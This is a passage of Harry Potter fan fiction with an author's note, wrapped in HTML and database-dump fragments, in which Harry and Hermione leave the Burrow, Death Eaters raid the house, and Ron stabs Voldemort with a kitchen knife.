palms up. &#8220;Yes! For God&#8217;s sake, leave me alone.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But you haven&#8217;t told me what made you angry yet.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Yes, I did.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Explain it further then. Because if it was only me being me, as you put it, you never would have slept with me in the first place.&#8221;</p>\n\n<p></p>\n\n<p>Pinching the bridge of her nose in frustration and closing her eyes, Ginny sighed. &#8220;Fine, you want to know what really got to me? When you called me &#8216;comfortable&#8217; and said that my hips were padded!&#8221;</p>\n\n<p></p>\n\n<p>Draco lifted an eyebrow. The only means she could tell that he did so was from the way the silvery light pouring out of the window shifted against the fine, reflective hairs over his eyes. She knew that he would never admit that Harry was right, just as she somehow knew she would never get an apology from Draco; Malfoys didn&#8217;t seem the repentant type. </p>\n\n<p></p>\n\n<p>&#8220;But you <i>are </i>comfortable. That&#8217;s a compliment. And if you know me so well, which you claim to do, you&#8217;d know that&#8217;s a very rare thing for me to hand out. As to your hips being padded . . .&#8221; He trailed off and she could feel his eyes on her. &#8220;Well, Potter told me that you might have taken that the wrong way. I didn&#8217;t mean that you&#8217;re fat.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Thanks much for clearing that up,&#8221; Ginny retorted sarcastically. He still hadn&#8217;t actually apologised to her yet and she tapped her foot impatiently, hoping that she was wrong and he would say he was sorry. &#8220;Well?&#8221; she asked.</p>\n\n<p></p>\n\n<p>&#8220;Well, what?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Aren&#8217;t you going to apologise at least?&#8221;</p>\n\n<p></p>\n\n<p>Draco seemed to be turning the thought over in his mind. &#8220;No,&#8221; he said at last. &#8220;You mistook what I meant and flew out of there without even asking what I actually did mean. So no, I don&#8217;t see the need for an apology. And I&#8216;m gracious enough not to ask for you to apologise.&#8221;</p>\n\n<p></p>\n\n<p>Ginny gaped at him. That was terrible logic! Brilliant, she grudgingly admitted, but terrible all the same. &#8220;Are you daft? <i>You </i>should apologise.&#8221;</p>\n\n<p></p>\n\n<p>She could see a twinkle in his eye from the echoed light and the smooth planes of his face turned up in a smirk. &#8220;Make me.&#8221;</p>\n\n<p></p>\n\n<p>Sighing in defeat, Ginny walked over to her bed and crawled under the thick quilts there. &#8220;I officially give up, Malfoy. I&#8217;m tired, now go away.&#8221;</p>\n\n<p></p>\n\n<p>Ginny turned over and huddled further into the bedclothes, trying to get warm. So she was surprised when instead of hearing the door open and close, she felt Malfoy&#8217;s slender, burning body slip under the covers behind her.</p>\n\n<p></p>\n\n<p>&#8220;What the hell are you doing?&#8221; she mumbled. &#8220;My mum will skin you alive if she sees you in here.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Then you&#8217;ll just have to wake me up early, won&#8217;t you?&#8221; he replied, breath warm in her ear.</p>\n\n<p></p>\n\n<p>She flipped over so that she could stare at him, eye to gleaming eye. &#8220;Why <i>are </i>you here, anyway?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I told you already,&#8221; he muttered, moving his body down to lay on her stomach.</p>\n\n<p></p>\n\n<p>&#8220;Told me what?&#8221; she asked the top of his shiny blonde head irritably.</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;re terribly comfortable to sleep on.&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Harry woke with a start when he no longer felt Hermione&#8217;s warmth on his chest. But upon further inspection, he could see her brushing out her long brown hair and twisting it up into a bun on the back of her head. He relaxed. </p>\n\n<p></p>\n\n<p>She was fine really, nothing amiss.</p>\n\n<p></p>\n\n<p>Hermione had noticed that he was awake and moved over to sit next to him on the bed. &#8220;Harry, it&#8217;s time to go now.</p>\n\n<p></p>\n\n<p>The sun was just cresting the horizon outside of the window and the light struck her in the face, shadowing it with gold and red. As the moon before it had done, the sun softened a million tiny hairs, which had escaped her bun into a nimbus of light around her head. Harry ran his Quidditch-roughened palm over her face in wonder, marvelling at the stark contrast in textures.</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;re very pretty, did you know that?&#8221;</p>\n\n<p></p>\n\n<p>Hermione glanced at him shyly for a moment and kissed the tip of his nose. &#8220;You need to put on your shoes, Harry. We&#8217;ve a long way to go yet.&#8221;</p>\n\n<p></p>\n\n<p>Harry yawned and pulled his hand back. &#8220;Not so far, actually. I&#8217;ve decided that it&#8217;s ridiculous for us to go all the way into London today. We can just walk into Ottery St. Catchpole and find somewhere to stay for the day. I&#8217;ve still have some Muggle money left over from yesterday, at least enough to get us a room somewhere and into London tomorrow.&#8221;</p>\n\n<p></p>\n\n<p>She shrugged. &#8220;That&#8217;s fine with me. I just want to leave here. I can&#8217;t bear being near Ron another second.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;ll still have to deal with him at school, Hermione.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I can ignore him at school,&#8221; she sniffed. &#8220;Honestly, he tried to <i>kiss</i> me, Harry! And I&#8217;d already told him no when he asked before.&#8221;</p>\n\n<p></p>\n\n<p>Harry drew his eyebrows together in a frown. &#8220;When did he ask you that?&#8221;</p>\n\n<p></p>\n\n<p>She waved her hand. &#8220;It was when I had that argument with him before tea last night. He kept telling me that he loved me so much. And<font face="Times New Roman">&#8212;</font> &#8221; Hermione looked down and swallowed. &#8220;I feel badly for him, Harry. Honestly, I do. But when I told him that I couldn&#8217;t love him back the same way, he really hit the ceiling! Started calling me all these horrid names and I lost my temper entirely and . . . well, you know what happened next. He laughed at me so I ducked in here to have a good cry.&#8221;</p>\n\n<p></p>\n\n<p>Something was still nagging at the back of his mind though. &#8220;You told him last night in the hall that he&#8217;d had his chance but lost it. What did you mean by that?&#8221;</p>\n\n<p></p>\n\n<p>Hermione blushed. &#8220;Well, I used to have a thing for him when we were younger. But he never noticed, or if he did, he didn&#8217;t say anything to me about it. Then I just&#8212; I started seeing you in a different light and forgot that I&#8217;d ever felt that way about him. It wasn&#8216;t much more than a childish crush, anyway. Nothing like what I feel for you, Harry.&#8221;</p>\n\n<p></p>\n\n<p>Harry nodded. &#8220;So you don&#8217;t still feel anything for him? You&#8217;re sure?&#8221;</p>\n\n<p></p>\n\n<p>Laughing, she smacked his chest lightly. &#8220;No, you goose. Otherwise, I&#8217;d be snogging him right now instead of you.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But you aren&#8217;t snogging me right now.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh,&#8221; she said, leaning forward to kiss him gently on the mouth, a rosy blush still on her cheeks. &#8220;You&#8217;ve been snogged.&#8221;</p>\n\n<p></p>\n\n<p>Harry chuckled. &#8220;I feel like I should buy a tee-shirt to commemorate the occasion.&quot;</p>\n\n<p></p>\n\n<p>&#8220;No,&#8221; Hermione said, looking him in the eye. &#8220;Save the tee-shirt for another time.&#8221;</p>\n\n<p></p>\n\n<p>Oh yes, he thought to himself, he would definitely buy something when <i>that </i>occasion came around.</p>\n\n<p></p>\n\n<p>&#8220;Come on.&#8221;</p>\n\n<p></p>\n\n<p>Hermione stood and pulled at Harry&#8217;s shirt to get him sitting up fully, handing him his glasses from the night table. She looked around for his shoes and knelt down, putting them on his feet and tying them up quickly. He glanced down at the top of her head and chuckled.</p>\n\n<p></p>\n\n<p>&#8220;Have you decided to be my house-elf for the day, then?&#8221;</p>\n\n<p></p>\n\n<p>She smirked and hit his leg. &#8220;No, just being nice. Get up now, sleepyhead. You still have to get Hedwig and your trunk from Ron&#8217;s room.&#8221;</p>\n\n<p></p>\n\n<p>Harry groaned and fell back on the bed. He&#8217;d forgotten all about that. Damn it. He put a hand over his eyes dramatically. &#8220;Since you&#8217;re playing house-elf, can&#8217;t you get it for me?&#8221;</p>\n\n<p></p>\n\n<p>Hermione tsked softly and pulled him to rights. &#8220;No, you have to get it. I&#8217;m still recovering, remember?&#8221;</p>\n\n<p></p>\n\n<p>Grumbling to himself, Harry stood and walked out of her room, going up the stairs to the first attic where Ron was sleeping. The door was open a crack and he poked his head through, wincing as a shaft of sunlight bounced off the violently orange walls to hit him in the eye. </p>\n\n<p></p>\n\n<p>His travel trunk was close to the door, with Hedwig in her cage hooting at him softly from on top of it. Harry put a finger to his lips and picked up the trunk, carefully so as not to disturb the owl or Ron.</p>\n\n<p></p>\n\n<p>It wasn&#8216;t heavy, but how he was going to carry his trunk <i>and</i> Hermione&#8217;s was going to be a definite problem. Quietly, he took the one he had already downstairs, setting it next to the door before turning back to fetch Hermione&#8217;s and stacking it on top with Hedwig&#8216;s cage sitting on Crookshanks&#8217; box. It had snowed more overnight, so he figured that if he could find a flat piece of wood to set them on, he could easily sled it all over the snow. If either of the trunks were damaged, it would be his and that was no big loss as it was falling apart already.</p>\n\n<p></p>\n\n<p>Hermione came down the stairs then, bundled up in her heavy winter cloak and carrying his as well. </p>\n\n<p></p>\n\n<p>&#8220;Here&#8217;s your cloak, Harry,&#8221; she said, gesturing for him to bend down so she could wrap it over his shoulders and pin the front together. &#8220;It&#8217;s terribly cold outside and I don&#8217;t want you to freeze.&#8221;</p>\n\n<p></p>\n\n<p>He grinned to himself as she fussed over his clothes for another minute or two. It wasn&#8217;t anything different from what she normally did, but the way she did it spoke volumes to Harry. She murmured in tones, which conveyed that he was very important to her, not that this was obligatory on her part in any way. Her mothering annoyed him to no end when they were younger, but he understood her motivations now and he felt warm inside.</p>\n\n<p></p>\n\n<p>It was . . . nice.</p>\n\n<p></p>\n\n<p>Without thinking about it, he gave her a brief peck on the forehead, seeing a million days in the future go by where he would do the same exact thing. It made him smile, the fact that there was one person in his life that he would always be able to count on. The assurance of her affection for him.</p>\n\n<p></p>\n\n<p>&#8220;Are you ready to go?&#8221;</p>\n\n<p></p>\n\n<p>Hermione looked down and put her feet into a set of overshoes by the door, motioning for him to do the same. They shrunk down to fit their feet and the warming charm on them kept their toes from getting cold.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m ready. Let&#8217;s go, then.&#8221;</p>\n\n<p></p>\n\n<p>Grabbing her hand in his, Harry opened the door and stepped outside, pulling the trunks along behind and leaving deep furrows in the snow as they walked toward the sleepy little village of Ottery St. Catchpole at a brisk pace.</p>\n\n<p></p>\n\n<p>So they were a good distance down the road and out of sight entirely when several hooded figures Apparated outside the hedgerows surrounding the Weasley home.</p>\n\n<p></p></font>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 16, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">Authour\'s notes: First, I\'d like to thank Clairey and Alexis, as always, for their lovely beta reading jobs. You two are the best. Also, I\'d like to address all of you Ron fans out there: this is the chapter you\'ve all been waiting for. After this chapter, Ron seriously gets his own say in the story and starts to take a more active part in the events around him. Chapter 15 *the one you\'re about to read* is one of the most pivotal in the whole story, but not for the reasons you may think. This chapter delves a little more into what motivates Draco and LOADS into what motivates Ron. As I\'ve said numerous times, this is certainly not the end. Anything that you don\'t understand is probably something that I\'ve covered/will cover in future chapters. There will be a lot of sifting over these events and the events leading up to this chapter later. Everything is uncovered gradually. After chapters 15-17 are done, that is where the plot/story REALLY starts. What has happened till this point has been like a very long prologue and the real action begins in chapter 18.</font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p><br> At this time, I\'d like to thank all of the reviewers who have faithfully followed this story, commented, and trusted me with their favourite characters. I\'ve even had a few famous fic authours like Anise and Sarea Okelani review this little thing and I think I was completely speechless when a Portkey.org reviewer said that I\'m their new favourite authour in place of Anne Rice. Wow. I do appreciate every review, but most especially, those reviewers who have picked apart my story and given constructive criticism. It helps my writing more than anything else and ensures that YOU, the reader, have a quality story.</p>\n\n<p></p>\n\n<p>Cheers,<br> Sing</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>Ginny heard a sound out in the hall and she woke with a start. Without glancing down, she could feel that Draco still had his head on her stomach; his soft breathing was warm and moist through her nightdress. </p>\n\n<p></p>\n\n<p>She hadn&#8217;t seen him sleep very often since he&#8217;d arrived at the Burrow. Sometimes she wondered whether he even needed to as he was always up in the middle of the night, bumping around downstairs or in his room. It would be a shame to wake him now, but she had no choice. Someone was coming down the hall.</p>\n\n<p></p>\n\n<p>&#8220;Draco,&#8221; she whispered, nudging his back with her hand. He ignored her, wrapping his arms more tightly around her hips and mumbling something against her belly.</p>\n\n<p></p>\n\n<p>&#8220;Draco,&#8221; she tried again, shaking him harder. This time he woke, his eyes heavy-lidded, and he sat up partially to blink at her.</p>\n\n<p></p>\n\n<p>&#8220;What is it?&#8221; Draco asked thickly, rubbing his face.</p>\n\n<p></p>\n\n<p>&#8220;There&#8217;s someone coming, you have to hide,&#8221; Ginny said urgently, casting a quick glance at her door.</p>\n\n<p></p>\n\n<p>&#8220;Mmmn,&#8221; he mumbled, quietly slipping off of the bed and looking around for a moment before stumbling into the large wardrobe against her wall.</p>\n\n<p></p>\n\n<p>Ginny breathed a sigh of relief when he closed the door. She sat up and let her feet swing over the side of the bed. Then she walked over to grab some clothes from her trunk and was about to shimmy out of her nightdress when she heard a bang down the hall, followed by screaming.</p>\n\n<p></p>\n\n<p>Draco burst out of the wardrobe then, suddenly wide-awake. He hunted around for the source of his anxiety, but stumbled against the window ledge in his haste, smacking his arm soundly in the process. While he was rubbing his elbow, he glanced outside, his eyes growing very wide.</p>\n\n<p></p>\n\n<p>&#8220;Ginny,&#8221; he hissed. &#8220;Come here and look.&#8221;</p>\n\n<p></p>\n\n<p>She said something rude and ignored him, walking toward the door to investigate what was going on out in the corridor. But he stopped her by striding across the room and clamping a hand over her mouth, dragging her to the window.</p>\n\n<p></p>\n\n<p>&#8220;Look,&#8221; Draco whispered softly in her ear, the arm wrapped around her waist trembling slightly. &#8220;Do you see them?&#8221;</p>\n\n<p></p>\n\n<p>Ginny squinted her eyes and finally saw what he was talking about. If Draco&#8217;s hand hadn&#8217;t been over her mouth, she would have screamed. As it was, a low moan escaped and she fell back, letting him support her sagging body.</p>\n\n<p></p>\n\n<p>&#8220;Is there a way out of this room without going into the hall or out the window?&#8221;</p>\n\n<p></p>\n\n<p>She shook her head, still dazed. Death Eaters were outside of her house this very minute! Ginny felt Draco drag her backwards toward the wardrobe and he opened the door before pulling her inside with him and locking it up tight.</p>\n\n<p></p>\n\n<p>The space was confined and full of soft blankets and boxes. Draco released her and sat down on a trunk just as they heard the door to her bedroom open with a bang. There was a hollow sound of hard soled shoes against wood flooring, walking around and apparently investigating her room.</p>\n\n<p></p>\n\n<p>Ginny stepped back softly and sat on Draco&#8217;s lap, burying her face in his chest. Her eyes were squeezed shut as she waited for the Death Eater to find them. She could hear thuds and heavy footfalls from upstairs, followed by crying and screams of pain.</p>\n\n<p></p>\n\n<p>&#8220;Draco,&#8221; she whispered shakily. The hair on his chest under her cheek was warm and real. Ginny ran her hand over the crisp whorls and she could hear his heart beating rapidly against his ribcage. He was always so <i>warm</i>.</p>\n\n<p></p>\n\n<p>&#8220;Shh.&#8221; He put a trembling finger to her lips and pulled her closer to his body. If it was to comfort her or him she didn&#8217;t know, but at that moment the wardrobe door rattled and she heard a deep laugh, which made her forget that she even cared. </p>\n\n<p></p>\n\n<p>Draco&#8217;s body tensed and he slid Ginny off his lap to stand up directly in front of the door, waiting for it to be opened.</p>\n\n<p></p>\n\n<p>Muttering could be heard from outside and she recognised that someone was doing an unlocking spell. Draco picked up the first object his hands landed on in the darkness and gripped it tight.</p>\n\n<p></p>\n\n<p>The door was flung open then and Ginny didn&#8217;t get a chance to see who it was before Draco attacked.</p>\n\n<p></p>\n\n<p>He sprang from the wardrobe and knocked the intruder over, bashing the man&#8217;s head with an old Muggle clock. The black-cloaked figure laid face down, blood trickling from under the hood. Draco stood over him, breathing hard with the clock still fused to his hand.</p>\n\n<p></p>\n\n<p>&#8220;Draco,&#8221; Ginny stuttered, standing up on wobbly legs to walk over to him. </p>\n\n<p></p>\n\n<p>&#8220;There&#8217;s probably more of them, we&#8217;ll never get out of here alive.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;And you&#8217;re so right, my dear,&#8221; a voice laughed from the bedroom door. Draco and Ginny whirled around to see another hooded figure standing there.</p>\n\n<p></p>\n\n<p>&#8220;Avery,&#8221; Draco ground out, his lip curled in disgust. &#8220;Just another of Father&#8217;s little toys come to play with the big boys, I see.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You shouldn&#8217;t speak that way to your elders, boy. And your father will be very interested to find you <i>here </i>of all places.&#8221;</p>\n\n<p></p>\n\n<p>Draco dropped the clock he was holding and frowned. &#8220;If you aren&#8217;t here for me, then why&#8212; &#8221;</p>\n\n<p></p>\n\n<p>&#8220;Do you really think that you&#8217;re the sole reason for anything we do? Truly, I&#8217;d have thought that you would know better than that.&#8221;</p>\n\n<p></p>\n\n<p>Ginny was silent as she crept up to Draco and put a hand on his arm. &#8220;Draco, why are they here?&#8221;</p>\n\n<p></p>\n\n<p>Avery snorted from the doorway. &#8220;This is priceless: Lucius Malfoy&#8217;s son, rutting a Weasley.&#8221;</p>\n\n<p></p>\n\n<p>Draco narrowed his eyes. &#8220;I take my pleasure where I find it; it&#8217;s no concern of yours. Besides,&#8221; he smiled grimly. &#8220;Father has no right to say anything to <i>me </i>about sleeping with a Weasley.&#8221;</p>\n\n<p></p>\n\n<p>Avery slipped his hood down, his head tilted to the side in cool curiosity. &#8220;How do you know about that?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Percy wasn&#8217;t very clever. And I&#8217;m sure that Father will be very put out once he learns that his little playmate didn&#8217;t burn each of the letters he sent.&#8221;</p>\n\n<p></p>\n\n<p>The Death Eater blanched visibly. &#8220;The little bastard.&#8221;</p>\n\n<p></p>\n\n<p>Draco shrugged. &#8220;Something like that.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Where are these letters now?&#8221; Avery demanded.</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t know. I turned them over to Mr Weasley.&#8221; </p>\n\n<p></p>\n\n<p>&#8220;So you&#8217;re a traitor as well, then? How many more of our secrets did you spill?&#8221;</p>\n\n<p></p>\n\n<p>There was a twinkle in Draco&#8217;s eye then and it frightened Ginny but only served to enrage the Death Eater. &#8220;You&#8217;ll never know.&#8221;</p>\n\n<p></p>\n\n<p>Avery swore vividly before stomping across the room to kick his fellow Death Eater, who still lay immobile on the floor, and grab Draco by the upper arm. He turned then to regard Ginny.</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;ll come along nicely, little girl, or I&#8217;ll rip him open with my wand right now.&#8221;</p>\n\n<p></p>\n\n<p>Ginny forced herself to laugh. She didn&#8217;t love Draco, and most times didn&#8217;t even like him, but that didn&#8217;t mean she wanted to see him dead. &#8220;Do what you want to him; I don&#8217;t even like the bastard.&#8221;</p>\n\n<p></p>\n\n<p>Avery started at this and Draco laughed out loud. &#8220;Aw, what&#8217;s the matter? Did you honestly think that she&#8216;d listen to you just because you threatened my life? Ginny wouldn&#8216;t piss on me if I were on fire.&#8221;</p>\n\n<p></p>\n\n<p>Tom had taught her well, she could play this game to the end. &#8220;Oh Dray-co, you hurt my feelings! I&#8217;d at least let my brothers piss on you.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;As if they&#8212;&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Enough, both of you! I don&#8217;t care if either of you die right now, but My Lord might. So be quiet before I lose my temper and My Lord loses his.&#8221;</p>\n\n<p></p>\n\n<p>Ginny blanched and shrank back against Draco, reaching behind her to grab his hand, gripping it tight. He didn&#8217;t squeeze back, but he didn&#8217;t snatch it away either.</p>\n\n<p></p>\n\n<p>Avery prodded Draco in the back with his wand. &#8220;Downstairs, both of you.&#8221;</p>\n\n<p></p>\n\n<p>Draco moved his legs and stiffly started walking out of the room, Ginny still clinging to his arm. She could feel him struggle to contain the fear he was surely feeling. Every few seconds, the arm in her grip would tremor, but just barely. It was enough to know that even Draco Malfoy could be frightened of these men.</p>\n\n<p></p>\n\n<p>As they were shoved down the last few steps and through other rooms into the kitchen, Ginny wondered what would happen next. Would they all be killed or was there an even more sinister purpose for them in mind? Her eyes roamed around the room and she wanted to sag against Draco in relief; at least everyone was safe&#8212;for now.</p>\n\n<p></p>\n\n<p>Charlie and Fred were supporting her parents near the stove while George lay at their feet, an unnatural shade of pale but breathing. They looked up as Avery brought Ginny and Draco in. Ron stood outside of the Weasley huddle and slightly to the left, directing a scowl at Draco that made Ginny shiver.</p>\n\n<p></p>\n\n<p>The other Death Eaters, who were surrounding the Weasley family in a ring, moved aside as Lucius stepped forward. Ginny could feel Draco tense up at his father&#8217;s approach and stand straight.</p>\n\n<p></p>\n\n<p>The older blonde stopped directly in front of the two and motioned for Avery to step back. Ginny started shaking and buried her face in Draco&#8217;s upper arm, not wanting to look Death in the eye. She knew it was cowardly, but seeing this man face to face brought all her repressed memories of Tom Riddle and the Chamber of Secrets tearing to the surface, leaving nothing in her place but a little girl who was desperately afraid. Lucius Malfoy had slipped the book in her cauldron. It was through his actions that Tom had used her, made her do horrible things to her fellow students. Because of his sycophantic, wicked deeds that she&#8217;d been ostracised and stared at for almost two years after she&#8217;d opened the Chamber. Lucius Malfoy had broken her as surely as Tom Riddle ever did. And he was standing in front of her right now.</p>\n\n<p></p>\n\n<p>&#8220;So you&#8217;ve been here all this time, have you?&#8221; Lucius whispered smoothly, addressing his son. &#8220;And here I thought that you may have gnawed off your arm like an animal and bled to death in the snow. It pains me to see that my offspring has sunk so low as to hide among Muggle-lovers.&quot;</p>\n\n<p></p>\n\n<p>&#8220;I haven&#8217;t sunk as low as you yet, Father,&#8221; Draco replied calmly. From her place, Ginny could hear his heart pounding a mile a minute against the hollow of his chest. Then the mighty crack as Draco&#8217;s head was forced to the side from his father&#8217;s slap.</p>\n\n<p></p>\n\n<p>&#8220;I wonder if Our Lord will still have any use for you. After this, he might deem you tainted goods.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Rather tainted goods then his bloody slave. You make me sick with your bowing and scraping. You&#8217;re like a dog.&#8221; </p>\n\n<p></p>\n\n<p>Draco said this with so much disgust that it made Ginny gasp. He would be killed now, surely. And she was right here beside him, which meant she would be dead, too. But before Lucius could reply, there was a commotion near the door and a hushed, almost reverent silence filled the room.</p>\n\n<p></p>\n\n<p>Ginny looked up and clearly wished that she hadn&#8217;t. For there, in her very own kitchen, stood Lord Voldemort.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Ron clenched his fists when he saw one of the Death Eaters drag his sister down the stairs, clinging like a vine to Draco Malfoy. It made his blood boil, especially considering the fact that she was in her nightdress and Malfoy didn&#8217;t even have a shirt on. Did she know how ridiculous she looked gripping him like that? How much danger her life was in just by standing next to him? Ron wasn&#8217;t stupid. He&#8217;d seen glances pass between the two, and all of the playful bickering during happier times. Not to mention that it was impossible to ignore the huge bruise on the side of Draco&#8217;s neck. Ginny was going to die because she&#8217;d stupidly chosen Malfoy of all people to seek comfort from. At least if she was with her family, she&#8217;d have a fighting chance.</p>\n\n<p></p>\n\n<p>Then a chill went over the room and Ron turned to see a slight figure dressed in black robes appear in the doorway. He seemed to glide as if he was walking on air instead of the ground, his slitted red eyes sweeping over the room and its occupants, resting occasionally on one person before moving on to the next. Finally, he stopped in front of Draco, and Ron shivered, desperately afraid for his sister.</p>\n\n<p></p>\n\n<p>&#8220;So,&#8221; Voldemort hissed. &#8220;The boy is here. This is good.&#8221; He looked down at Ginny, almost frowning as if trying to remember something important before his face stilled. &#8220;Ah, Ginny . . .&#8221; he sighed in a way that Ron didn&#8217;t like at all.</p>\n\n<p>Lord Voldemort lifted a long-nailed finger to scrape down her arm in what could only be described as a caress. It was almost as if he were trying to soothe her, but coming from Voldemort, it seemed completely unnatural. Ginny&#8217;s eyes widened with fear, the skin of her face paling chalk white.</p>\n\n<p></p>\n\n<p>&#8220;Surely you remember&#8212; an old friend?&#8221; Voldemort asked. His voice had a very high register, which broke and cracked on words as if he were unused to speaking.</p>\n\n<p></p>\n\n<p>Ginny did nothing, her lips pressed tightly together as if holding back a scream. Ron noted with some satisfaction that Draco seemed just as frightened of the Dark Lord as the rest of them were. </p>\n\n<p></p>\n\n<p>Ron was able to draw up enough courage to divert Voldemort&#8217;s attention, though where the strength came from, he didn&#8217;t know. Perhaps it was the sheer terror etched into Ginny&#8216;s face that sent him over the edge of rational, self-preserving thought.</p>\n\n<p></p>\n\n<p>&#8220;Leave my sister alone!&#8221; he shouted, shocking even the Death Eaters.</p>\n\n<p></p>\n\n<p>Voldemort turned to pin the young man with his gaze and Ron instantly regretted saying anything as the dark wizard floated closer to where he stood.</p>\n\n<p></p>\n\n<p>&#8220;You are Harry Potter&#8217;s friend, are you not?&#8221;</p>\n\n<p></p>\n\n<p>Ron had to laugh at that. Someone always wanted Harry. Perfect Harry who could do no wrong. Harry who had all the things Ron had ever wanted for himself. Including Hermione. </p>\n\n<p></p>\n\n<p>&#8220;No, I&#8217;m not,&#8221; Ron said in complete honesty. &#8220;Harry&#8217;s a stupid prat and I hope he rots.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley gasped and gripped her husband&#8217;s arm. From the look on her face, it seemed that she was not anticipating Ron&#8217;s survival through the end of his conversation with the Dark Lord.</p>\n\n<p></p>\n\n<p>Voldemort seemed surprised by his answer though, and came closer, putting a hand on Ron&#8217;s chest. He shivered at the touch and gagged from the smell of rotting wood and earth that seemed to cling to the evil wizard like a haze. The red eyes narrowed, taking in his face. </p>\n\n<p></p>\n\n<p>&#8220;So, you are no longer his friend. Perhaps you&#8217;re his enemy then?&#8221;</p>\n\n<p></p>\n\n<p>Ron tried to be casual in the way he shrugged his shoulders, but the action came out more as a spasmodic twitch. &#8220;I suppose so.&#8221;</p>\n\n<p></p>\n\n<p>Voldemort&#8217;s smile was a horrible thing to see. The skin actually cracked in places as his lips twisted up in a skeletal grin. &#8220;Have you ever heard the expression &#8216;my enemy&#8217;s enemy is my friend&#8217;?&#8221;</p>\n\n<p></p>\n\n<p>Ron glared. &#8220;You&#8217;re not my friend.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh, but I could be,&#8221; he bated. &#8220;I could be a very good friend. You want to be in the spotlight? You want to hear people chanting your name just like Potter? Power? Wealth? I can make that happen.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Ron, no!&#8221; Ginny shouted, taking a step forward before Draco clamped a hand over her mouth and pulled her back against his chest.</p>\n\n<p></p>\n\n<p>&#8220;And what do you want me to do, then? S&#8217;not like you&#8217;d give me all that for free.&#8221; Ron could see his mother&#8217;s face from the corner of his eye. She was crying softly while his father gazed at him sternly, shaking his head. Fred was uncharacteristically sombre, and Charlie glowered, his short, stocky frame tensed to spring. The Death Eaters, about ten of them together, had come from all parts of the house to form a circle around them, each with wand drawn and held stiffly by their sides.</p>\n\n<p></p>\n\n<p>&#8220;It&#8217;s simple. Be a friend to both Potter and myself. The only difference being that you tell me everywhere he goes, starting with where he is now.&quot;</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t know where he is right now,&#8221; Ron answered truthfully. The deal he was offered sounded so tempting. His family could finally have everything they needed. He would have any broom or robe he ever wanted. Girls would be pouring out of the woodworks, desperate for his company, Hermione included. No more hand-me-down wands or clothes.</p>\n\n<p></p>\n\n<p>But there were several things holding Ron back. First was the fact that Voldemort was anything but reliable; he could turn on someone in a heartbeat. Then Ron glanced at his mother and father, the former crying profusely and the latter glaring at him as if he&#8217;d sprouted an extra head. And then there was the memory of a small, shy, black-haired boy who had made friends with him on a train several years before. He hadn&#8217;t laughed at Ron&#8217;s threadbare clothes, or even his stupid ginger-fluff hair; Harry had accepted him without reservation. No matter what had happened between them since that day, there would always be <i>that </i>and Ron couldn&#8217;t ignore something so important.</p>\n\n<p></p>\n\n<p>&#8220;And,&#8221; Ron continued after a moment. &#8220;You can go to hell. I&#8217;m not helping you kill Harry.&#8221;</p>\n\n<p></p>\n\n<p>He braced himself then, waiting for the killing curse to be spoken but it never was. Over near his parents, Ron saw Fred pull his hand out of his pocket with a flash of silver. He couldn&#8217;t see what was there, but he knew it was sure to be something that would speed up their deaths considerably.</p>\n\n<p></p>\n\n<p>&#8220;Hey baldy! Get away from my brother!&#8221; Fred shouted, slamming an entire handful of various metal baubles at the ground near their feet. There was a vast explosive sound and the air was filled with several colours of smoke, making it difficult to breathe and impossible to see anything. Ron coughed, hearing the Death Eaters mill around distractedly while Voldemort and Lucius Malfoy shouted orders. Squinting, he could barely make out Voldemort&#8217;s shadowy form through the clouds.</p>\n\n<p></p>\n\n<p>He knew it was stupid, and very dangerous, but Ron didn&#8217;t allow his misgivings to stop him. Reaching into the drawer behind him, he pulled out a large kitchen knife and plunged it down into the cloaked figure before him.</p>\n\n<p></p>\n\n<p>Ron felt a pounding in his head as he sliced through Voldemort again and again. With every high-pitched scream of pain he elicited from the dark wizard, Ron saw Harry rejecting him, Hermione rejecting him, the two sitting together at dinner with knowing grins on their faces. The blushes and glances that spoke mutely of their secret romance.</p>\n\n<p></p>\n\n<p>Ron roared loudly as he continued to hack and slash past the point where it was needed. He didn&#8217;t notice the Death Eaters gaping at him in fear and wonderment, or his own family cringing away from him. Ron saw Ginny in his mind. He saw her face as Voldemort stroked her arm, almost promising to do more than simply touch her&#8212;</p>\n\n<p></p>\n\n<p>He couldn&#8217;t have stopped if he wanted, too. Ron was like a man possessed and the anger burned bright. He bellowed like an animal while he continued to strike the still body beneath him. By the time the smoke cleared, Voldemort was on the ground. </p>\n\n<p></p>\n\n<p>Ron stood over him, the knife in his hand dripping with dark red blood and he had difficulty catching his breath. Everything around him was suddenly quiet. No one moved or spoke for almost a full minute. 